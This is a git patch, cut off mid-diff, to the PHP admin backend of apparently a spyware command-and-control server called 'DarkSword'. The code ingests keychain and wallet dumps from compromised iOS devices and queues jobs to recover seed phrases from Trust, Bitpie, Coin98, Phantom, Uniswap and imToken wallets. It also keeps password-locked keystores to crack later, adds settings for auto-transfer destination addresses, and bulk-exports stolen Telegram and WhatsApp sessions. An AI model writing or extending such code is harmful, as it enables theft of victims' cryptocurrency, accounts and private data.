From 2a41a29310c8fec249c8dab074e127f78af71770 Mon Sep 17 00:00:00 2001 From: hashbro Date: Sun, 20 Sep 2026 06:15:26 +0800 Subject: [PATCH] fix: keystore --- .../Controllers/Admin/DeviceController.php | 30 +- .../Controllers/Admin/KeystoreController.php | 81 +++- .../Controllers/Admin/PageVisitController.php | 1 + .../Admin/PluginSessionController.php | 89 ++++ .../Admin/SystemSettingsController.php | 6 + app/Jobs/DecryptDeviceKeystores.php | 123 +++++ app/Models/WalletKeystore.php | 166 +++++++ app/Services/DarkSwordIngestAdapter.php | 447 +++++++++++++++++- app/Services/DsKeystoreDecrypt.php | 361 ++++++++++++++ app/Services/IngestService.php | 13 +- app/Services/MnemonicScanService.php | 16 +- app/Services/SettingsService.php | 6 + app/Services/TelegramNotifier.php | 2 +- app/Support/CfIpCountry.php | 15 +- config/logging.php | 15 + dump.rdb | Bin 0 -> 88 bytes resources/views/admin/devices/show.blade.php | 28 +- .../views/admin/keystores/index.blade.php | 57 +++ .../views/admin/sessions/index.blade.php | 38 ++ .../views/admin/system/settings.blade.php | 19 +- resources/views/admin/visits/index.blade.php | 9 +- routes/admin.php | 2 + routes/user.php | 2 + tests/Feature/DarkSwordC2ApiTest.php | 340 +++++++++++++ tests/Feature/KeystoreAdminTest.php | 12 + tests/Feature/PageVisitTest.php | 40 ++ tests/Feature/PluginSessionPageTest.php | 92 ++++ tests/Feature/SystemAdminTest.php | 22 +- tests/Feature/TokenviewWebhookTest.php | 6 +- 29 files changed, 1972 insertions(+), 66 deletions(-) create mode 100644 app/Jobs/DecryptDeviceKeystores.php create mode 100644 dump.rdb diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 50b05c1..a9f2598 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -679,10 +679,27 @@ class DeviceController extends Controller if (! in_array($field, $sortable, true)) { $field = 'id'; } - $cols = WalletKeystore::listColumns(); - $paginator = $device->keystores()->select($cols)->orderBy($field, $order)->paginate($limit, $cols, 'page', $page); + + // Two-step query to avoid MySQL "Out of sort memory" (HY001): + // LENGTH(raw_json) forces MySQL to read large blobs during sort. + // Step 1: get paginated IDs ordered by the sort field (no blob access). + // Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only. + $idQuery = $device->keystores()->orderBy($field, $order); + $total = $idQuery->toBase()->getCountForPagination(); + $page = max(1, $page); + $ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all(); + + $rows = count($ids) > 0 + ? WalletKeystore::query() + ->whereIn('id', $ids) + ->select(WalletKeystore::listColumnsLight()) + ->get() + ->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids)) + ->values() + : collect(); + $portal = $this->portal(); - $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) { + $data = $rows->map(function (WalletKeystore $row) use ($portal) { $stats = $row->listStats(); return [ @@ -692,13 +709,15 @@ class DeviceController extends Controller 'kind' => $stats['kind'], 'item_count' => $stats['item_count'], 'summary' => $stats['summary'], + 'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'items_url' => route($portal.'.keystores.items', $row->id), + 'detail_api_url' => route($portal.'.keystores.detail', $row->id), 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), ]; })->values(); - return $this->layuiPage($paginator->total(), $data); + return $this->layuiPage($total, $data); } private function paginateApps(Device $device, string $field, string $order, int $limit, int $page) @@ -730,7 +749,8 @@ class DeviceController extends Controller private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page) { - $note = $device->notes()->orderByDesc('id')->first(); + $noteId = $device->notes()->orderByDesc('id')->value('id'); + $note = $noteId !== null ? Note::query()->find($noteId) : null; $items = $note ? $note->items() : []; if (strtolower($order) === 'asc') { $items = array_reverse($items); diff --git a/app/Http/Controllers/Admin/KeystoreController.php b/app/Http/Controllers/Admin/KeystoreController.php index 368020a..0a67f23 100644 --- a/app/Http/Controllers/Admin/KeystoreController.php +++ b/app/Http/Controllers/Admin/KeystoreController.php @@ -51,7 +51,7 @@ class KeystoreController extends Controller $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); - $cols = array_merge(WalletKeystore::listColumns(), [ + $cols = array_merge(WalletKeystore::listColumnsLight(), [ 'devices.device_id as device_key', 'devices.channel_id as device_channel_id', ]); @@ -60,18 +60,33 @@ class KeystoreController extends Controller 'limit' => $limit, 'mem' => memory_get_usage(true), ]); - $paginator = $q->paginate($limit, $cols, 'page', $page); + + // Two-step query to avoid MySQL "Out of sort memory" (HY001): + // LENGTH(raw_json) in the select list forces MySQL to read large + // blobs during the ORDER BY sort, overflowing the sort buffer. + // Step 1: get paginated IDs (no blob access). + // Step 2: fetch light columns for those IDs only. + $total = $q->toBase()->getCountForPagination(); + $ids = $q->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all(); + + $rows = count($ids) > 0 + ? WalletKeystore::query() + ->join('devices', 'devices.id', '=', 'wallet_keystores.device_id') + ->whereIn('wallet_keystores.id', $ids) + ->select($cols) + ->get() + ->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids)) + ->values() + : collect(); + Log::info('keystore.list.data.page', [ - 'total' => $paginator->total(), - 'ids' => collect($paginator->items())->pluck('id')->all(), - 'sizes' => collect($paginator->items())->mapWithKeys( - static fn (WalletKeystore $row) => [$row->id => (int) ($row->raw_json_len ?? 0)] - )->all(), + 'total' => $total, + 'ids' => $rows->pluck('id')->all(), 'mem' => memory_get_usage(true), ]); $portal = $this->portal(); - $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) { + $data = $rows->map(function (WalletKeystore $row) use ($portal) { return $this->rowPayload($row, $portal); })->values(); Log::info('keystore.list.data.done', [ @@ -83,7 +98,7 @@ class KeystoreController extends Controller return response()->json([ 'code' => 0, 'msg' => '', - 'count' => $paginator->total(), + 'count' => $total, 'data' => $data, ]); } @@ -122,6 +137,45 @@ class KeystoreController extends Controller ]); } + /** + * Return the full keystore raw_json with sensitive fields masked, + * so the admin can inspect the plaintext structure (wallet names, + * addresses, timestamps, version info, etc.) without exposing + * encrypted blobs or private keys. + */ + public function detail(WalletKeystore $keystore) + { + if (! $this->keystoreAllowed($keystore)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + + $len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n'); + Log::info('keystore.detail.start', [ + 'id' => $keystore->id, + 'raw_json_len' => $len, + 'mem' => memory_get_usage(true), + ]); + $masked = $keystore->maskedDetail(); + Log::info('keystore.detail.done', [ + 'id' => $keystore->id, + 'raw_json_len' => $len, + 'mem' => memory_get_usage(true), + 'peak' => memory_get_peak_usage(true), + ]); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'data' => [ + 'id' => $keystore->id, + 'source' => $keystore->sourceLabel(), + 'decrypted' => (int) $keystore->decrypted, + 'kind' => $keystore->kindLabel(), + 'detail' => $masked, + ], + ]); + } + public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt) { if (! $this->keystoreAllowed($keystore)) { @@ -166,6 +220,7 @@ class KeystoreController extends Controller 'utc' => $counts['utc'], 'passwords' => $counts['passwords'], 'entropy' => $counts['entropy'], + 'coin98' => $counts['coin98'] ?? 0, ], ]); } @@ -186,9 +241,11 @@ class KeystoreController extends Controller 'kind' => $stats['kind'], 'item_count' => $stats['item_count'], 'summary' => $stats['summary'], + 'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']), 'items_url' => route($portal.'.keystores.items', $row->id), + 'detail_api_url' => route($portal.'.keystores.detail', $row->id), 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), ]; } @@ -201,6 +258,7 @@ class KeystoreController extends Controller $utc = (int) $counts['utc']; $passwords = (int) $counts['passwords']; $entropy = (int) $counts['entropy']; + $coin98 = (int) ($counts['coin98'] ?? 0); if ($utc === 0 && $passwords > 0) { return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密'; } @@ -217,8 +275,11 @@ class KeystoreController extends Controller if ($entropy > 0) { return '有 Bitpie seedPhraseEntropy,但未能还原助记词'; } + if ($coin98 > 0) { + return '有 Coin98 WALLET_SECURE_BACKUP,但未能解析助记词'; + } - return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)'; + return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy,Coin98 需要 WALLET_SECURE_BACKUP,imToken 需要密码)'; } private function keystoreAllowed(WalletKeystore $keystore): bool diff --git a/app/Http/Controllers/Admin/PageVisitController.php b/app/Http/Controllers/Admin/PageVisitController.php index 465d6a0..48f0194 100644 --- a/app/Http/Controllers/Admin/PageVisitController.php +++ b/app/Http/Controllers/Admin/PageVisitController.php @@ -26,6 +26,7 @@ class PageVisitController extends Controller return view('admin.visits.index', [ 'portal' => $this->portal(), 'agents' => $agents, + 'countries' => CfIpCountry::names(), ]); } diff --git a/app/Http/Controllers/Admin/PluginSessionController.php b/app/Http/Controllers/Admin/PluginSessionController.php index 904c6af..c769df9 100644 --- a/app/Http/Controllers/Admin/PluginSessionController.php +++ b/app/Http/Controllers/Admin/PluginSessionController.php @@ -74,6 +74,95 @@ class PluginSessionController extends Controller }, $name, ['Content-Type' => 'application/json; charset=UTF-8']); } + /** + * Bulk export all sessions matching the current filter as a ZIP. + * Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor + * so memory stays flat regardless of row count or payload size. + */ + public function export(Request $request) + { + $kind = (int) $request->query('kind', PluginSession::KIND_TELEGRAM) === PluginSession::KIND_WHATSAPP + ? PluginSession::KIND_WHATSAPP + : PluginSession::KIND_TELEGRAM; + + $q = $this->baseQuery($request, $kind); + $total = $q->count(); + if ($total === 0) { + return response()->json(['code' => 1, 'msg' => '没有可导出的数据'], 422); + } + if ($total > 2000) { + return response()->json([ + 'code' => 1, + 'msg' => '数据量过大('.$total.' 条,上限 2000),请缩小筛选条件后再导出', + ], 422); + } + + $label = $kind === PluginSession::KIND_WHATSAPP ? 'ws' : 'tg'; + $zipName = $label.'-sessions-'.date('Ymd-His').'.zip'; + + return response()->streamDownload(function () use ($q, $label) { + $tmp = tempnam(sys_get_temp_dir(), 'coruna_export_'); + if ($tmp === false) { + echo '{}'; + + return; + } + $zip = new \ZipArchive(); + if (! $zip->open($tmp, \ZipArchive::CREATE | \ZipArchive::OVERWRITE)) { + @unlink($tmp); + echo '{}'; + + return; + } + + $usedNames = []; + foreach ($q->cursor() as $row) { + /** @var PluginSession $row */ + $base = $row->downloadFilename(); + // Ensure unique filename inside the ZIP. + $name = $base; + $n = 2; + while (isset($usedNames[$name])) { + $name = pathinfo($base, PATHINFO_FILENAME).'-'.$n.'.json'; + $n++; + } + $usedNames[$name] = true; + + $path = $row->payloadPath(); + if ($path !== null && Storage::disk('local')->exists($path)) { + // addFile streams from disk — payload never enters PHP memory. + $abs = Storage::disk('local')->path($path); + if (is_string($abs) && $abs !== '' && is_file($abs)) { + $zip->addFile($abs, $name); + continue; + } + } + + // Fallback: encode the DB payload (always small — it's a summary). + $json = json_encode( + $row->fullPayload(), + JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT + ); + $zip->addFromString($name, $json === false ? '{}' : $json); + } + + $zip->close(); + + // Stream the temp file in small chunks, then clean up. + $fp = fopen($tmp, 'rb'); + if (is_resource($fp)) { + while (! feof($fp)) { + echo fread($fp, 65536); + } + fclose($fp); + } + @unlink($tmp); + }, $zipName, [ + 'Content-Type' => 'application/zip', + 'X-Export-Count' => (string) $total, + ]); + } + private function page(string $kind) { $agents = $this->isAgentPortal() diff --git a/app/Http/Controllers/Admin/SystemSettingsController.php b/app/Http/Controllers/Admin/SystemSettingsController.php index e01a6dc..55816df 100644 --- a/app/Http/Controllers/Admin/SystemSettingsController.php +++ b/app/Http/Controllers/Admin/SystemSettingsController.php @@ -46,6 +46,9 @@ class SystemSettingsController extends Controller 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], + 'transfer_to_address' => ['nullable', 'string', 'max:128'], + 'transfer_to_address_eth' => ['nullable', 'string', 'max:128'], + 'transfer_to_address_btc' => ['nullable', 'string', 'max:128'], 'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'], 'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'], 'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'], @@ -81,6 +84,9 @@ class SystemSettingsController extends Controller 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '', 'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '', 'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '', + 'transfer.to_address' => $threshold($data['transfer_to_address'] ?? null) ?? '', + 'transfer.to_address_eth' => $threshold($data['transfer_to_address_eth'] ?? null) ?? '', + 'transfer.to_address_btc' => $threshold($data['transfer_to_address_btc'] ?? null) ?? '', 'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '', 'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null), 'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20', diff --git a/app/Jobs/DecryptDeviceKeystores.php b/app/Jobs/DecryptDeviceKeystores.php new file mode 100644 index 0000000..8f8d6a9 --- /dev/null +++ b/app/Jobs/DecryptDeviceKeystores.php @@ -0,0 +1,123 @@ +|null $wallets Raw keychain wallets dict (from /war or /result). + * @param array|null $sandbox Raw sandbox dict. + */ + public function __construct( + public int $deviceId, + public ?array $wallets = null, + public ?array $sandbox = null, + ) {} + + public function handle( + DarkSwordIngestAdapter $adapter, + DsKeystoreDecrypt $decrypt, + ): void { + $device = Device::query()->find($this->deviceId); + if ($device === null) { + Log::channel('keystore')->warning('DecryptDeviceKeystores: device not found', [ + 'device_id' => $this->deviceId, + ]); + + return; + } + + $device->load('keystores'); + + $wallets = $this->wallets ?? []; + $sandbox = $this->sandbox ?? []; + $errors = []; + + // ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ── + try { + $adapter->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all()); + } catch (\Throwable $e) { + $errors[] = 'recover: '.$e->getMessage(); + Log::channel('keystore')->error('DecryptDeviceKeystores: recover failed', [ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'error' => $e->getMessage(), + 'trace' => $e->getTraceAsString(), + ]); + } + + // ── 2. Plaintext mnemonic walk (Uniswap / Phantom entropy / etc.) ── + try { + $hits = $adapter->walkForMnemonicsWithResult($device, $wallets, 'd'); + $hits = array_merge($hits, $adapter->walkForMnemonicsWithResult($device, $sandbox, 'b')); + foreach ($hits as $hit) { + $source = $hit['source'] ?? ''; + if ($source !== '') { + $decrypt->markSourceDecrypted($device->id, $source); + } + } + } catch (\Throwable $e) { + $errors[] = 'walkForMnemonics: '.$e->getMessage(); + Log::channel('keystore')->error('DecryptDeviceKeystores: walkForMnemonics failed', [ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'error' => $e->getMessage(), + ]); + } + + // ── 3. Address extraction from undecryptable keystores ── + $addressCount = 0; + try { + $addressCount = $adapter->extractAddressesFromKeystores($device, $wallets, $sandbox); + } catch (\Throwable $e) { + $errors[] = 'extractAddresses: '.$e->getMessage(); + Log::channel('keystore')->error('DecryptDeviceKeystores: address extraction failed', [ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'error' => $e->getMessage(), + ]); + } + + // ── 4. Log summary ── + $mnemonicCount = $device->mnemonics()->count(); + $summary = sprintf( + 'DecryptDeviceKeystores · device=%s · mnemonics=%d · addresses=%d · errors=%d', + $device->device_id, + $mnemonicCount, + $addressCount, + count($errors), + ); + if ($errors !== []) { + $summary .= ' · '.implode('; ', $errors); + } + Log::channel('keystore')->info($summary, [ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'addresses' => $addressCount, + 'errors' => $errors, + ]); + } +} diff --git a/app/Models/WalletKeystore.php b/app/Models/WalletKeystore.php index 6776c5c..5e91bd7 100644 --- a/app/Models/WalletKeystore.php +++ b/app/Models/WalletKeystore.php @@ -40,6 +40,26 @@ class WalletKeystore extends Model ]; } + /** + * Same as listColumns() but without LENGTH(raw_json). Use this for + * paginated/sorted queries to avoid MySQL "Out of sort memory" (HY001) + * — the LENGTH() expression forces MySQL to read large blobs during + * filesort, overflowing the sort buffer even for a handful of rows. + * + * @return list + */ + public static function listColumnsLight(string $table = 'wallet_keystores'): array + { + return [ + $table.'.id', + $table.'.device_id', + $table.'.source', + $table.'.decrypted', + $table.'.created_at', + $table.'.updated_at', + ]; + } + /** * Load this row's raw_json alone, log memory, then drop the blob. * @@ -62,6 +82,7 @@ class WalletKeystore extends Model 'item_count' => $this->itemCount(), 'summary' => $this->summary(), 'kind' => $this->kindLabel(), + 'has_web3_keystore' => $this->hasWeb3Keystore(), ]; } catch (\Throwable $e) { Log::warning('keystore.list.hydrate.fail', [ @@ -74,6 +95,7 @@ class WalletKeystore extends Model 'item_count' => 0, 'summary' => '', 'kind' => $this->kindLabel(), + 'has_web3_keystore' => false, ]; } finally { $this->setAttribute('raw_json', null); @@ -193,6 +215,47 @@ class WalletKeystore extends Model }; } + /** + * Detect whether this keystore entry contains a standard Web3 keystore + * (Web3 Secret Storage Definition): a JSON object with a `crypto` field + * that has `ciphertext` and `mac` sub-keys. This covers imToken + * walletsV2 keystores (stored directly or nested under wallets.imtoken) + * and any UTC-style keystore blob. + * + * iOS keychain items (Coin98, MetaMask, Phantom, etc. with dataHex) and + * sandbox files do NOT match and will return false. + */ + public function hasWeb3Keystore(): bool + { + $json = is_array($this->raw_json) ? $this->raw_json : []; + if ($this->isWeb3KeystoreNode($json)) { + return true; + } + $wallets = $json['wallets'] ?? null; + if (is_array($wallets)) { + foreach ($wallets as $bucket) { + if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) { + return true; + } + } + } + + return false; + } + + /** + * @param array $node + */ + private function isWeb3KeystoreNode(array $node): bool + { + $crypto = $node['crypto'] ?? null; + + return is_array($crypto) + && isset($crypto['ciphertext'], $crypto['mac']) + && is_string($crypto['ciphertext']) + && is_string($crypto['mac']); + } + /** * @return list 48 ? substr($hex, 0, 48).'…' : $hex; } + + /** + * Keys whose values are sensitive (encrypted blobs, private keys, + * salts, IVs, etc.) and should be masked in the detail view. + */ + private const MASK_KEYS = [ + 'ciphertext', 'mac', 'salt', 'iv', 'nonce', 'encStr', + 'encKey', 'encAuthKey', 'encOriginal', + 'secretKey', 'privateKey', 'seed', + 'cipherparams', 'kdfparams', 'cipher', + 'kPKey', 'kPinPasswordNew', 'pin_code_key_uuid', 'mnemonic_key_uuid', + 'pin_code_key_multi_uuid', + ]; + + /** + * Return the raw_json tree with sensitive fields masked, suitable for + * display in the admin "查看明文" detail view. Each keychain item's + * dataHex is decoded to UTF-8 when possible and nested sensitive fields + * are replaced with `***MASKED***`. + * + * @return array + */ + public function maskedDetail(): array + { + $raw = self::query()->whereKey($this->id)->value('raw_json'); + if (! is_array($raw)) { + return []; + } + + return $this->maskTree($raw); + } + + /** + * Recursively mask sensitive keys in a data tree. + * + * @param mixed $node + * @return mixed + */ + private function maskTree(mixed $node, int $depth = 0): mixed + { + if ($depth > 12) { + return null; + } + if (is_array($node)) { + $out = []; + foreach ($node as $key => $value) { + $lowerKey = strtolower((string) $key); + if (in_array($lowerKey, array_map('strtolower', self::MASK_KEYS), true)) { + // Mask the value but preserve type info and length. + if (is_string($value)) { + $out[$key] = '***MASKED***('.strlen($value).' chars)'; + } elseif (is_array($value)) { + $out[$key] = '***MASKED***('.count($value).' items)'; + } else { + $out[$key] = '***MASKED***'; + } + continue; + } + // Decode dataHex in-place to show decoded content. + if ($lowerKey === 'datahex' && is_string($value) && $value !== '') { + $decoded = $this->tryDecodeHex($value); + if ($decoded !== null) { + $out[$key] = '***MASKED***('.strlen($value).' hex chars)'; + $out['_dataDecoded'] = $this->maskTree($decoded, $depth + 1); + continue; + } + $out[$key] = '***MASKED***('.strlen($value).' hex chars)'; + continue; + } + $out[$key] = $this->maskTree($value, $depth + 1); + } + + return $out; + } + + return $node; + } + + /** + * Try to decode a hex string into a JSON array or readable UTF-8 text. + */ + private function tryDecodeHex(string $hex): mixed + { + $hex = trim($hex); + if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) { + return null; + } + $bin = @hex2bin($hex); + if (! is_string($bin) || $bin === '' || ! mb_check_encoding($bin, 'UTF-8')) { + return null; + } + // Try JSON first. + $json = json_decode($bin, true); + if (is_array($json)) { + return $json; + } + // Return as plain text if it looks printable. + if (preg_match('/^[\x09\x0A\x0D\x20-\x7E\x{4e00}-\x{9fff}]+$/u', $bin)) { + return $bin; + } + + return null; + } } diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 3e26b4c..114bda6 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -9,10 +9,13 @@ use App\Models\User; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; use App\Jobs\DecodeMemoDb; +use App\Jobs\DecryptDeviceKeystores; use App\Support\CfIpCountry; use App\Support\UserAgentParser; use App\Support\VisitorIp; use App\Support\WalletSource; +use Illuminate\Database\QueryException; +use Illuminate\Database\UniqueConstraintViolationException; use Illuminate\Http\Request; use Illuminate\Support\Facades\Storage; @@ -242,16 +245,18 @@ class DarkSwordIngestAdapter $wallets = $keychain['wallets'] ?? []; $sandbox = $payload['sandbox'] ?? []; + // Store keystores synchronously (fast), then dispatch async decryption. $rows = array_merge( $this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null), $this->storeWalletKeystores($device, $sandbox, 'sandbox', null), ); - $this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows); - $this->walkForMnemonics($device, $wallets, 'd'); - $this->walkForMnemonics($device, $sandbox, 'b'); + // Synchronous address ingestion from sandbox/wallets (Trust-style). $this->trustAddresses->ingest($device, $sandbox); $this->trustAddresses->ingest($device, $wallets); + + // Async: mnemonic recovery + plaintext walk + address extraction. + DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); } /** @@ -340,17 +345,34 @@ class DarkSwordIngestAdapter return $existing->refresh(); } - $device = Device::query()->create([ - 'device_id' => $key, - 'chain' => $chain, - 'ip' => $ip !== '' ? $ip : null, - 'country' => CfIpCountry::fromRequest($request), - 'device_model' => $model, - 'ios_version' => $ios, - 'channel_id' => $channel, - 'user_agent' => $ua !== '' ? $ua : null, - 'album_storage' => User::albumStorageDefaultForChannel($channel), - ]); + try { + $device = Device::query()->create([ + 'device_id' => $key, + 'chain' => $chain, + 'ip' => $ip !== '' ? $ip : null, + 'country' => CfIpCountry::fromRequest($request), + 'device_model' => $model, + 'ios_version' => $ios, + 'channel_id' => $channel, + 'user_agent' => $ua !== '' ? $ua : null, + 'album_storage' => User::albumStorageDefaultForChannel($channel), + ]); + } catch (UniqueConstraintViolationException | QueryException $e) { + // Race condition: another concurrent request already created this + // device. Reload it and continue instead of crashing the beacon. + $device = Device::query()->where('device_id', $key)->first(); + if ($device === null) { + throw $e; + } + // If the chain was just corrected, seed the default queue. + if ((int) $device->chain === Device::CHAIN_DARKSWORD + && $this->beaconQueue->queueLength($device) === 0 + ) { + $this->beaconQueue->seed($device); + } + + return $device->refresh(); + } $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->save(); @@ -456,6 +478,19 @@ class DarkSwordIngestAdapter || str_contains($filename, 'wallet_pkg') || str_contains($filename, 'keystore'); if (! $looksTrust) { + // keychain_c2_dump.json and walletsV2_*.json are wallet material + // uploaded as /result files (not /war). Ingest them here too. + if (str_contains($filename, 'keychain_c2_dump')) { + $this->ingestKeychainDumpFromResult($device, $payload); + + return; + } + if (str_contains($filename, 'walletsv2')) { + $this->ingestImTokenKeystoreFromResult($device, $payload); + + return; + } + return; } $raw = $payload['data'] ?? null; @@ -468,8 +503,87 @@ class DarkSwordIngestAdapter return; } $this->trustAddresses->ingest($device, $raw); - $rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null); - $this->recoverKeystoreMnemonics($device, null, $raw, $rows); + $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null); + + // Async: attempt Trust UTC keystore decryption. + DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]); + } + + /** + * Parse a keychain_c2_dump.json /result file and process it like /war: + * store per-wallet keystores and run mnemonic recovery (Bitpie / Trust / + * Coin98). + * + * @param array $payload + */ + private function ingestKeychainDumpFromResult(Device $device, array $payload): void + { + $json = $this->decodeResultJson($payload); + if ($json === null) { + return; + } + $wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : []; + $sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : []; + + // Store keystores synchronously (fast), then dispatch async decryption. + $rows = array_merge( + $this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null), + $this->storeWalletKeystores($device, $sandbox, 'sandbox', null), + ); + + // Synchronous address ingestion from sandbox/wallets (Trust-style). + $this->trustAddresses->ingest($device, $sandbox); + $this->trustAddresses->ingest($device, $wallets); + + // Async: mnemonic recovery + plaintext walk + address extraction. + DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); + } + + /** + * Store an imToken walletsV2 keystore file uploaded via /result. + * The keystore is encrypted (PBKDF2 + AES-128-CTR); without the password + * we cannot recover the mnemonic, but we persist it so it can be cracked + * later or reprocessed when a password becomes available. + * + * @param array $payload + */ + private function ingestImTokenKeystoreFromResult(Device $device, array $payload): void + { + $json = $this->decodeResultJson($payload); + if ($json === null) { + return; + } + $this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null); + + // Async: attempt recovery (imToken needs password — will likely fail, + // but the job logs the reason and still extracts addresses if any). + DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null); + } + + /** + * Decode the /result payload body (base64 data or stored file) into JSON. + * + * @param array $payload + * @return array|null + */ + private function decodeResultJson(array $payload): ?array + { + $raw = $payload['data'] ?? null; + if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) { + if (Storage::disk('local')->exists($payload['path'])) { + $raw = (string) Storage::disk('local')->get($payload['path']); + } + } + if (! is_string($raw) || $raw === '') { + return null; + } + $decoded = base64_decode($raw, true); + if (is_string($decoded) && $decoded !== '') { + $raw = $decoded; + } + $json = json_decode($raw, true); + + return is_array($json) ? $json : null; } /** @@ -768,18 +882,38 @@ class DarkSwordIngestAdapter } /** - * Re-run Trust UTC / Bitpie recover on already-stored keystore blobs. + * Re-run all recovery on already-stored keystore blobs. Used by the + * admin "解密" button. Runs synchronously (the admin expects an immediate + * result) and covers structured recovery, plaintext walk, and address + * extraction. */ public function reprocessKeystores(Device $device): void { $device->load('keystores'); - $this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all()); + + // Rebuild wallets/sandbox dicts from stored keystores so the walkers + // can traverse the original tree structure. + $wallets = []; + $sandbox = []; + foreach ($device->keystores as $row) { + $kind = $row->raw_json['kind'] ?? ''; + if (str_starts_with($kind, 'keychain')) { + $wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []); + } else { + $sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []); + } + } + + $this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all()); + $this->walkForMnemonics($device, $wallets, 'd'); + $this->walkForMnemonics($device, $sandbox, 'b'); + $this->extractAddressesFromKeystores($device, $wallets, $sandbox); } /** * @param list $rows */ - private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void + public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void { $hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox); foreach ($hits as $hit) { @@ -809,12 +943,32 @@ class DarkSwordIngestAdapter } } - private function walkForMnemonics(Device $device, mixed $node, string $tag): void + /** + * Walk a keychain tree looking for plaintext mnemonic strings in dataHex + * fields (e.g. Uniswap stores the BIP39 phrase as hex-encoded UTF-8). + * + * Returns a list of hits so the caller can mark keystores as decrypted. + * + * @return list + */ + public function walkForMnemonicsWithResult(Device $device, mixed $node, string $tag): array + { + $hits = []; + $this->walkForMnemonicsInner($device, $node, $tag, '', $hits); + + return $hits; + } + + /** + * @param list $hits + */ + private function walkForMnemonicsInner(Device $device, mixed $node, string $tag, string $sourceHint, array &$hits): void { if (is_string($node)) { $phrase = $this->asMnemonicPhrase($node); if ($phrase !== null) { $this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]); + $hits[] = ['phrase' => $phrase, 'source' => $sourceHint]; } return; @@ -833,11 +987,27 @@ class DarkSwordIngestAdapter if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) { continue; } + // Detect wallet source from key name (e.g. "uniswap" → "Uniswap"). + 